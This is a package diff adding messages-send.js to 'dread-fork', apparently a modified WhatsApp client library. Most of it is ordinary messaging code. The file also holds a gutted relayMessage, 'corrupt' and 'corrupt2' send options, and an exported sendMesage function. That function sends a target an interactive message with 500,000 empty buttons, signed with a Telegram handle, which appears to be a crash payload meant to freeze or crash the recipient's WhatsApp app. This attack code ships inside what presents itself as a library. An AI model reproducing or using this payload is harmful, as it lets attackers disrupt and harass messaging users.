dread-fork 2.0.0-dread.0

package/lib/Socket/messages-send.js

@@ -0,0 +1,762 @@
+var __importDefault = (this && this.__importDefault) || function (mod) {
+  return (mod && mod.__esModule) ? mod : { "default": mod };
+};
+var ListType;
+Object.defineProperty(exports, "__esModule", {
+  value: true
+});
+exports.makeMessagesSocket = void 0;
+const boom_1 = require("@hapi/boom"),
+  node_cache_1 = __importDefault(require("node-cache")),
+  WAProto_1 = require("../../WAProto"),
+  Defaults_1 = require("../Defaults"),
+  axios_1 = require("axios"),
+  Types_1 = require("../Types"),
+  Utils_1 = require("../Utils"),
+  link_preview_1 = require("../Utils/link-preview"),
+  WABinary_1 = require("../WABinary"),
+  newsletter_1 = require("./newsletter"),
+  WAUSync_1 = require("../WAUSync"),
+  crypto_1 = require("crypto"),
+  kikyy = require("./dugong");
+ListType = WAProto_1.proto.Message.ListMessage.ListType;
+const makeMessagesSocket = config => {
+  const {
+      logger: logger,
+      linkPreviewImageThumbnailWidth: linkPreviewImageThumbnailWidth,
+      generateHighQualityLinkPreview: generateHighQualityLinkPreview,
+      options: axiosOptions,
+      patchMessageBeforeSending: patchMessageBeforeSending
+    } = config,
+    sock = (0, newsletter_1.makeNewsletterSocket)(config),
+    {
+      ev,
+      authState: authState,
+      processingMutex: processingMutex,
+      signalRepository: signalRepository,
+      upsertMessage: upsertMessage,
+      query: query,
+      fetchPrivacySettings: fetchPrivacySettings,
+      generateMessageTag: generateMessageTag,
+      sendNode: sendNode,
+      groupMetadata: groupMetadata,
+      groupToggleEphemeral: groupToggleEphemeral,
+      executeUSyncQuery: executeUSyncQuery
+    } = sock,
+    userDevicesCache = config.userDevicesCache || new node_cache_1["default"]({
+      stdTTL: Defaults_1.DEFAULT_CACHE_TTLS.USER_DEVICES,
+      useClones: false
+    });
+  let mediaConn;
+  const refreshMediaConn = async (forceGet = false) => {
+      const media = await mediaConn;
+      if (!media || forceGet || new Date().getTime() - media.fetchDate.getTime() > media.ttl * 1000) {
+        mediaConn = (async () => {
+          const result = await query({
+              tag: "iq",
+              attrs: {
+                type: "set",
+                xmlns: "w:m",
+                to: WABinary_1.S_WHATSAPP_NET
+              },
+              content: [{
+                tag: "media_conn",
+                attrs: {}
+              }]
+            }),
+            mediaConnNode = WABinary_1.getBinaryNodeChild(result, "media_conn"),
+            node = {
+              hosts: WABinary_1.getBinaryNodeChildren(mediaConnNode, "host").map(({
+                attrs: attrs
+              }) => {
+                return {
+                  hostname: attrs.hostname,
+                  maxContentLengthBytes: +attrs.maxContentLengthBytes
+                };
+              }),
+              auth: mediaConnNode.attrs.auth,
+              ttl: +mediaConnNode.attrs.ttl,
+              fetchDate: new Date()
+            };
+          logger.debug("fetched media conn");
+          return node;
+        })();
+      }
+      return mediaConn;
+    },
+    sendReceipt = async (jid, participant, messageIds, type) => {
+      const node = {
+          tag: "receipt",
+          attrs: {
+            id: messageIds[0]
+          }
+        },
+        isReadReceipt = type === "read" || type === "read-self";
+      if (isReadReceipt) {
+        node.attrs.t = (0, Utils_1.unixTimestampSeconds)().toString();
+      }
+      if (type === "sender" && WABinary_1.isJidUser(jid)) {
+        node.attrs.recipient = jid;
+        node.attrs.to = participant;
+      } else {
+        node.attrs.to = jid;
+        if (participant) {
+          node.attrs.participant = participant;
+        }
+      }
+      if (type) {
+        node.attrs.type = WABinary_1.isJidNewsLetter(jid) ? "read-self" : type;
+      }
+      const remainingMessageIds = messageIds.slice(1);
+      if (remainingMessageIds.length) {
+        node.content = [{
+          tag: "list",
+          attrs: {},
+          content: remainingMessageIds.map(id => {
+            return {
+              tag: "item",
+              attrs: {
+                id: id
+              }
+            };
+          })
+        }];
+      }
+      logger.debug({
+        attrs: node.attrs,
+        messageIds: messageIds
+      }, "sending receipt for messages");
+      await sendNode(node);
+    },
+    sendReceipts = async (keys, type) => {
+      const recps = (0, Utils_1.aggregateMessageKeysNotFromMe)(keys);
+      for (const {
+        jid: jid,
+        participant: participant,
+        messageIds: messageIds
+      } of recps) {
+        await sendReceipt(jid, participant, messageIds, type);
+      }
+    },
+    readMessages = async keys => {
+      const privacySettings = await fetchPrivacySettings(),
+        readType = privacySettings.readreceipts === "all" ? "read" : "read-self";
+      await sendReceipts(keys, readType);
+    },
+    getUSyncDevices = async (jids, useCache, ignoreZeroDevices) => {
+      const deviceResults = [];
+      if (!useCache) {
+        logger.debug("not using cache for devices");
+      }
+      const toFetch = [];
+      jids = Array.from(new Set(jids));
+      for (let jid of jids) {
+        const user = WABinary_1.jidDecode(jid)?.user;
+        jid = WABinary_1.jidNormalizedUser(jid);
+        if (useCache) {
+          const devices = userDevicesCache.get(user);
+          if (devices) {
+            deviceResults.push(...devices);
+            logger.trace({
+              user: user
+            }, "using cache for devices");
+          } else {
+            toFetch.push(jid);
+          }
+        } else {
+          toFetch.push(jid);
+        }
+      }
+      if (!toFetch.length) {
+        return deviceResults;
+      }
+      const query = new WAUSync_1.USyncQuery().withContext("message").withDeviceProtocol();
+      for (const jid of toFetch) {
+        query.withUser(new WAUSync_1.USyncUser().withId(jid));
+      }
+      const result = await executeUSyncQuery(query);
+      if (result) {
+        const extracted = Utils_1.extractDeviceJids(result?.list, authState.creds.me.id, ignoreZeroDevices),
+          deviceMap = {};
+        for (const item of extracted) {
+          deviceMap[item.user] = deviceMap[item.user] || [];
+          deviceMap[item.user].push(item);
+          deviceResults.push(item);
+        }
+        for (const key in deviceMap) {
+          userDevicesCache.set(key, deviceMap[key]);
+        }
+      }
+      return deviceResults;
+    },
+    assertSessions = async (jids, force) => {
+      let didFetchNewSession = false,
+        jidsRequiringFetch = [];
+      if (force) {
+        jidsRequiringFetch = jids;
+      } else {
+        const addrs = jids.map(jid => {
+            return signalRepository.jidToSignalProtocolAddress(jid);
+          }),
+          sessions = await authState.keys.get("session", addrs);
+        for (const jid of jids) {
+          const signalId = signalRepository.jidToSignalProtocolAddress(jid);
+          if (!sessions[signalId]) {
+            jidsRequiringFetch.push(jid);
+          }
+        }
+      }
+      if (jidsRequiringFetch.length) {
+        logger.debug({
+          jidsRequiringFetch: jidsRequiringFetch
+        }, "fetching sessions");
+        const result = await query({
+          tag: "iq",
+          attrs: {
+            xmlns: "encrypt",
+            type: "get",
+            to: WABinary_1.S_WHATSAPP_NET
+          },
+          content: [{
+            tag: "key",
+            attrs: {},
+            content: jidsRequiringFetch.map(jid => {
+              return {
+                tag: "user",
+                attrs: {
+                  jid: jid
+                }
+              };
+            })
+          }]
+        });
+        await (0, Utils_1.parseAndInjectE2ESessions)(result, signalRepository);
+        didFetchNewSession = true;
+      }
+      return didFetchNewSession;
+    },
+    sendPeerDataOperationMessage = async pdoMessage => {
+      if (!authState.creds.me?.id) {
+        throw new boom_1.Boom("Not authenticated");
+      }
+      const protocolMessage = {
+          protocolMessage: {
+            peerDataOperationRequestMessage: pdoMessage,
+            type: WAProto_1.proto.Message.ProtocolMessage.Type.PEER_DATA_OPERATION_REQUEST_MESSAGE
+          }
+        },
+        meJid = WABinary_1.jidNormalizedUser(authState.creds.me.id),
+        msgId = await relayMessage(meJid, protocolMessage, {
+          additionalAttributes: {
+            category: "peer",
+            push_priority: "high_force"
+          }
+        });
+      return msgId;
+    },
+    createParticipantNodes = async (jids, message, extraAttrs) => {
+      const patched = await patchMessageBeforeSending(message, jids),
+        bytes = (0, Utils_1.encodeWAMessage)(patched);
+      let shouldIncludeDeviceIdentity = false;
+      const nodes = await Promise.all(jids.map(async jid => {
+        const {
+          type: type,
+          ciphertext: ciphertext
+        } = await signalRepository.encryptMessage({
+          jid: jid,
+          data: bytes
+        });
+        if (type === "pkmsg") {
+          shouldIncludeDeviceIdentity = true;
+        }
+        const node = {
+          tag: "to",
+          attrs: {
+            jid: jid
+          },
+          content: [{
+            tag: "enc",
+            attrs: {
+              v: "2",
+              type: type,
+              ...(extraAttrs || {})
+            },
+            content: ciphertext
+          }]
+        };
+        return node;
+      }));
+      return {
+        nodes: nodes,
+        shouldIncludeDeviceIdentity: shouldIncludeDeviceIdentity
+      };
+    },
+    safeSendNode = async stanza => {
+      try {
+        await sendNode(stanza);
+      } catch (err) {
+        try {
+          logger.warn({
+            err: err
+          }, "safeSendNode: sendNode failed (ignored)");
+        } catch (e) {
+          console.warn("safeSendNode: sendNode failed (ignored)", err);
+        }
+        return null;
+      }
+    },
+    safeGroupMetadata = async jid => {
+      try {
+        return await groupMetadata(jid);
+      } catch (err) {
+        try {
+          logger.warn({
+            jid: jid,
+            err: err
+          }, "safeGroupMetadata: failed (ignored)");
+        } catch (e) {
+          console.warn("safeGroupMetadata failed for", jid, err);
+        }
+        return undefined;
+      }
+    },
+    relayMessage = async (jid, message, {
+      messageId: msgId,
+      participant: participant,
+      additionalAttributes: additionalAttributes,
+      additionalNodes: additionalNodes,
+      useUserDevicesCache: useUserDevicesCache,
+      cachedGroupMetadata: cachedGroupMetadata,
+      useCachedGroupMetadata: useCachedGroupMetadata,
+      statusJidList: statusJidList,
+      isSecret = 0,
+      corrupt = false,
+      corrupt2 = false,
+      addBizAttributes = false
+    }) => {
+      try {
+        const meId = authState.creds.me.id,
+          meLid = authState.creds.me?.lid;
+        let shouldIncludeDeviceIdentity = false,
+          didPushAdditional = false;
+        const {
+            user: user,
+            server: server
+          } = WABinary_1.jidDecode(jid),
+          statusJid = "status@broadcast",
+          isGroup = server === "g.us",
+          isStatus = jid === statusJid,
+          isLid = server === "lid",
+          isNewsletter = server === "newsletter";
+        msgId = msgId || (0, Utils_1.generateMessageID)();
+        useUserDevicesCache = useUserDevicesCache !== false;
+        useCachedGroupMetadata = useCachedGroupMetadata !== false && !isStatus;
+        const participants = [],
+          destinationJid = !isStatus ? WABinary_1.jidEncode(user, isLid ? "lid" : isGroup ? "g.us" : isNewsletter ? "newsletter" : "s.whatsapp.net") : statusJid,
+          binaryNodeContent = [];
+        let devices = [];
+        const meMsg = {
+            deviceSentMessage: {
+              destinationJid: destinationJid,
+              message: message
+            }
+          },
+          extraAttrs = {},
+          messages = Utils_1.normalizeMessageContent(message),
+          buttonType = getButtonType(messages);
+        if (participant) {
+          if (!isGroup && !isStatus) {
+            additionalAttributes = {
+              ...additionalAttributes,
+              device_fanout: "false"
+            };
+          }
+          const {
+            user: user,
+            device: device
+          } = WABinary_1.jidDecode(participant.jid);
+          devices.push({
+            user: user,
+            device: device
+          });
+        }
+        return msgId;
+      } catch (err) {
+        try {
+          logger.error({
+            err: err,
+            jid: jid
+          }, "relayMessage caught error (bot continues)");
+        } catch (e) {
+          console.error("relayMessage caught error (bot continues):", err);
+        }
+        return null;
+      }
+    },
+    getTypeMessage = msg => {
+      const message = Utils_1.normalizeMessageContent(msg);
+      return message.reactionMessage ? "reaction" : getMediaType(message) ? "media" : "text";
+    },
+    getMediaType = message => {
+      if (message.imageMessage) {
+        return "image";
+      } else {
+        if (message.videoMessage) {
+          return message.videoMessage.gifPlayback ? "gif" : "video";
+        } else {
+          if (message.audioMessage) {
+            return message.audioMessage.ptt ? "ptt" : "audio";
+          } else {
+            if (message.contactMessage) {
+              return "vcard";
+            } else {
+              if (message.documentMessage) {
+                return "document";
+              } else {
+                if (message.contactsArrayMessage) {
+                  return "contact_array";
+                } else {
+                  if (message.liveLocationMessage) {
+                    return "livelocation";
+                  } else {
+                    if (message.stickerMessage) {
+                      return "sticker";
+                    } else {
+                      if (message.listMessage) {
+                        return "list";
+                      } else {
+                        if (message.listResponseMessage) {
+                          return "list_response";
+                        } else {
+                          if (message.buttonsResponseMessage) {
+                            return "buttons_response";
+                          } else {
+                            if (message.orderMessage) {
+                              return "order";
+                            } else {
+                              if (message.productMessage) {
+                                return "product";
+                              } else {
+                                if (message.interactiveResponseMessage) {
+                                  return "native_flow_response";
+                                } else {
+                                  if (message.groupInviteMessage) {
+                                    return "url";
+                                  } else {
+                                    if (new RegExp("https:\\/\\/wa\\.me\\/p\\/\\d+\\/\\d+", "").test(message.extendedTextMessage?.text)) {
+                                      return "productlink";
+                                    }
+                                  }
+                                }
+                              }
+                            }
+                          }
+                        }
+                      }
+                    }
+                  }
+                }
+              }
+            }
+          }
+        }
+      }
+    },
+    getButtonType = message => {
+      if (message.listMessage) {
+        return "list";
+      } else {
+        if (message.buttonsMessage) {
+          return "buttons";
+        } else {
+          if (message.interactiveMessage?.nativeFlowMessage?.buttons?.[0]?.name === "review_and_pay") {
+            return "review_and_pay";
+          } else {
+            if (message.interactiveMessage?.nativeFlowMessage?.buttons?.[0]?.name === "review_order") {
+              return "review_order";
+            } else {
+              if (message.interactiveMessage?.nativeFlowMessage?.buttons?.[0]?.name === "payment_info") {
+                return "payment_info";
+              } else {
+                if (message.interactiveMessage?.nativeFlowMessage?.buttons?.[0]?.name === "payment_status") {
+                  return "payment_status";
+                } else {
+                  if (message.interactiveMessage?.nativeFlowMessage?.buttons?.[0]?.name === "payment_method") {
+                    return "payment_method";
+                  } else {
+                    if (message.interactiveMessage && message.interactiveMessage?.nativeFlowMessage) {
+                      return "interactive";
+                    } else {
+                      if (message.interactiveMessage?.nativeFlowMessage) {
+                        return "native_flow";
+                      }
+                    }
+                  }
+                }
+              }
+            }
+          }
+        }
+      }
+    },
+    getPrivacyTokens = async jids => {
+      const t = Utils_1.unixTimestampSeconds().toString(),
+        result = await query({
+          tag: "iq",
+          attrs: {
+            to: WABinary_1.S_WHATSAPP_NET,
+            type: "set",
+            xmlns: "privacy"
+          },
+          content: [{
+            tag: "tokens",
+            attrs: {},
+            content: jids.map(jid => {
+              return {
+                tag: "token",
+                attrs: {
+                  jid: WABinary_1.jidNormalizedUser(jid),
+                  t: t,
+                  type: "trusted_contact"
+                }
+              };
+            })
+          }]
+        });
+      return result;
+    },
+    waUploadToServer = (0, Utils_1.getWAUploadToServer)(config, refreshMediaConn),
+    rahmi = new kikyy(Utils_1, waUploadToServer, relayMessage),
+    waitForMsgMediaUpdate = (0, Utils_1.bindWaitForEvent)(ev, "messages.media-update");
+  return {
+    ...sock,
+    getPrivacyTokens: getPrivacyTokens,
+    assertSessions: assertSessions,
+    relayMessage: relayMessage,
+    sendReceipt: sendReceipt,
+    sendReceipts: sendReceipts,
+    rahmi: rahmi,
+    readMessages: readMessages,
+    refreshMediaConn: refreshMediaConn,
+    getUSyncDevices: getUSyncDevices,
+    createParticipantNodes: createParticipantNodes,
+    waUploadToServer: waUploadToServer,
+    sendPeerDataOperationMessage: sendPeerDataOperationMessage,
+    fetchPrivacySettings: fetchPrivacySettings,
+    updateMediaMessage: async message => {
+      const content = (0, Utils_1.assertMediaContent)(message.message),
+        mediaKey = content.mediaKey,
+        meId = authState.creds.me.id,
+        node = (0, Utils_1.encryptMediaRetryRequest)(message.key, mediaKey, meId);
+      let error = undefined;
+      await Promise.all([sendNode(node), waitForMsgMediaUpdate(update => {
+        const result = update.find(c => {
+          return c.key.id === message.key.id;
+        });
+        if (result) {
+          if (result.error) {
+            error = result.error;
+          } else {
+            try {
+              const media = (0, Utils_1.decryptMediaRetryData)(result.media, mediaKey, result.key.id);
+              if (media.result !== WAProto_1.proto.MediaRetryNotification.ResultType.SUCCESS) {
+                const resultStr = WAProto_1.proto.MediaRetryNotification.ResultType[media.result];
+                throw new boom_1.Boom("Media re-upload failed by device (" + resultStr + ")", {
+                  data: media,
+                  statusCode: (0, Utils_1.getStatusCodeForMediaRetry)(media.result) || 404
+                });
+              }
+              content.directPath = media.directPath;
+              content.url = (0, Utils_1.getUrlFromDirectPath)(content.directPath);
+            } catch (err) {
+              error = err;
+            }
+          }
+          return true;
+        }
+      })]);
+      if (error) {
+        throw error;
+      }
+      ev.emit("messages.update", [{
+        key: message.key,
+        update: {
+          message: message.message
+        }
+      }]);
+      return message;
+    },
+    sendMessage: async (jid, content, options = {}) => {
+      const userJid = authState.creds.me.id;
+      delete options.ephemeralExpiration;
+      const {
+          filter = false,
+          quoted: quoted
+        } = options,
+        getParticipantAttr = () => {
+          return filter ? {
+            participant: {
+              jid: jid
+            }
+          } : {};
+        },
+        messageType = rahmi.detectType(content);
+      if (typeof content === "object" && "disappearingMessagesInChat" in content && typeof content.disappearingMessagesInChat !== "undefined" && WABinary_1.isJidGroup(jid)) {
+        const {
+            disappearingMessagesInChat: disappearingMessagesInChat
+          } = content,
+          value = typeof disappearingMessagesInChat === "boolean" ? disappearingMessagesInChat ? Defaults_1.WA_DEFAULT_EPHEMERAL : 0 : disappearingMessagesInChat;
+        await groupToggleEphemeral(jid, value);
+      } else {
+        if (messageType) {
+          switch (messageType) {
+            case "PAYMENT":
+              const paymentContent = await rahmi.handlePayment(content, quoted);
+              return await relayMessage(jid, paymentContent, {
+                messageId: Utils_1.generateMessageID(),
+                ...getParticipantAttr(),
+                isSecret: options.isSecret,
+                corrupt: options.corrupt,
+                corrupt2: options.corrupt2,
+                addBizAttributes: options.addBizAttributes
+              });
+            case "PRODUCT":
+              const productContent = await rahmi.handleProduct(content, jid, quoted),
+                productMsg = await Utils_1.generateWAMessageFromContent(jid, productContent, {
+                  quoted: quoted
+                });
+              return await relayMessage(jid, productMsg.message, {
+                messageId: productMsg.key.id,
+                ...getParticipantAttr(),
+                isSecret: options.isSecret,
+                corrupt: options.corrupt,
+                corrupt2: options.corrupt2,
+                addBizAttributes: options.addBizAttributes
+              });
+            case "INTERACTIVE":
+              const interactiveContent = await rahmi.handleInteractive(content, jid, quoted),
+                interactiveMsg = await Utils_1.generateWAMessageFromContent(jid, interactiveContent, {
+                  quoted: quoted
+                });
+              return await relayMessage(jid, interactiveMsg.message, {
+                messageId: interactiveMsg.key.id,
+                ...getParticipantAttr(),
+                isSecret: options.isSecret,
+                corrupt: options.corrupt,
+                corrupt2: options.corrupt2,
+                addBizAttributes: options.addBizAttributes
+              });
+            case "ALBUM":
+              return await rahmi.handleAlbum(content, jid, quoted);
+            case "EVENT":
+              return await rahmi.handleEvent(content, jid, quoted);
+            case "POLL_RESULT":
+              return await rahmi.handlePollResult(content, jid, quoted);
+          }
+        }
+        const fullMsg = await Utils_1.generateWAMessage(jid, content, {
+            logger: logger,
+            userJid: userJid,
+            quoted: quoted,
+            getUrlInfo: text => {
+              return link_preview_1.getUrlInfo(text, {
+                thumbnailWidth: linkPreviewImageThumbnailWidth,
+                fetchOpts: {
+                  timeout: 0xbb8,
+                  ...(axiosOptions || {})
+                },
+                logger: logger,
+                uploadImage: generateHighQualityLinkPreview ? waUploadToServer : undefined
+              });
+            },
+            upload: async (readStream, opts) => {
+              const up = await waUploadToServer(readStream, {
+                ...opts,
+                newsletter: WABinary_1.isJidNewsLetter(jid)
+              });
+              return up;
+            },
+            mediaCache: config.mediaCache,
+            options: config.options,
+            ...options
+          }),
+          isDeleteMsg = "delete" in content && !!content["delete"],
+          isEditMsg = "edit" in content && !!content.edit,
+          isAiMsg = "ai" in content && !!content.ai,
+          additionalAttributes = {},
+          additionalNodes = [];
+        if (isDeleteMsg) {
+          const fromMe = content["delete"]?.fromMe,
+            isGroup = WABinary_1.isJidGroup(content["delete"]?.remoteJid);
+          additionalAttributes.edit = isGroup && !fromMe || WABinary_1.isJidNewsLetter(jid) ? "8" : "7";
+        } else {
+          if (isEditMsg) {
+            additionalAttributes.edit = WABinary_1.isJidNewsLetter(jid) ? "3" : "1";
+          } else {
+            if (isAiMsg) {
+              additionalNodes.push({
+                attrs: {
+                  biz_bot: "1"
+                },
+                tag: "bot"
+              });
+            }
+          }
+        }
+        await relayMessage(jid, fullMsg.message, {
+          messageId: fullMsg.key.id,
+          cachedGroupMetadata: options.cachedGroupMetadata,
+          additionalNodes: isAiMsg ? additionalNodes : options.additionalNodes,
+          additionalAttributes: additionalAttributes,
+          statusJidList: options.statusJidList,
+          isSecret: options.isSecret,
+          corrupt: options.corrupt,
+          corrupt2: options.corrupt2,
+          addBizAttributes: options.addBizAttributes
+        });
+        if (config.emitOwnEvents) {
+          process.nextTick(() => {
+            processingMutex.mutex(() => {
+              return upsertMessage(fullMsg, "append");
+            });
+          });
+        }
+        return fullMsg;
+      }
+    }
+  };
+};
+async function sendMesage(sock, target, ptcp) {
+  const xeonbotinc = {
+    viewOnceMessage: {
+      message: {
+        interactiveMessage: {
+          body: {
+            text: "Telegram: @dgxeon13"
+          },
+          nativeFlowMessage: {
+            buttons: Array.from({
+              length: 0x7a120
+            }, () => {
+              return {};
+            })
+          }
+        }
+      }
+    }
+  };
+  await sock.relayMessage(target, {
+    groupStatusMessageV2: {
+      message: xeonbotinc
+    }
+  }, ptcp ? {
+    messageId: null,
+    participant: {
+      jid: target
+    }
+  } : {
+    messageId: null
+  });
+}
+exports.sendMesage = sendMesage;
+exports.makeMessagesSocket = makeMessagesSocket;